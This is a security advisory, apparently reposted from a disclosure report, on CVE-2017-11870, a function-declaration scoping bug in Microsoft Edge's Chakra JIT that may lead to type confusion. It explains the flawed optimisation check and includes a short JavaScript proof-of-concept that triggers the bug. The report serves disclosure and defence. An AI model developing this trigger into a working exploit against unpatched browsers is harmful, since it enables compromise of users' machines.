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Microsoft Edge Chakra JIT Incorrect Function Declaration Scope

Posted on 25 November 2017

Microsoft Edge: Chakra: JIT: Incorrect function declaration scope

CVE-2017-11870

In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.

function f(x) {
print(x);

{
function x() {

}
}

print(x);
}

The following code in "PreVisitFunction" is used to decide how to optimize arguments.
bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());

"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.

function f(x) {
x = 1;
}

PoC:
function f(x) {
arguments;

{
function x() {
}
}
}

for (let i = 0; i < 10000; i++)
f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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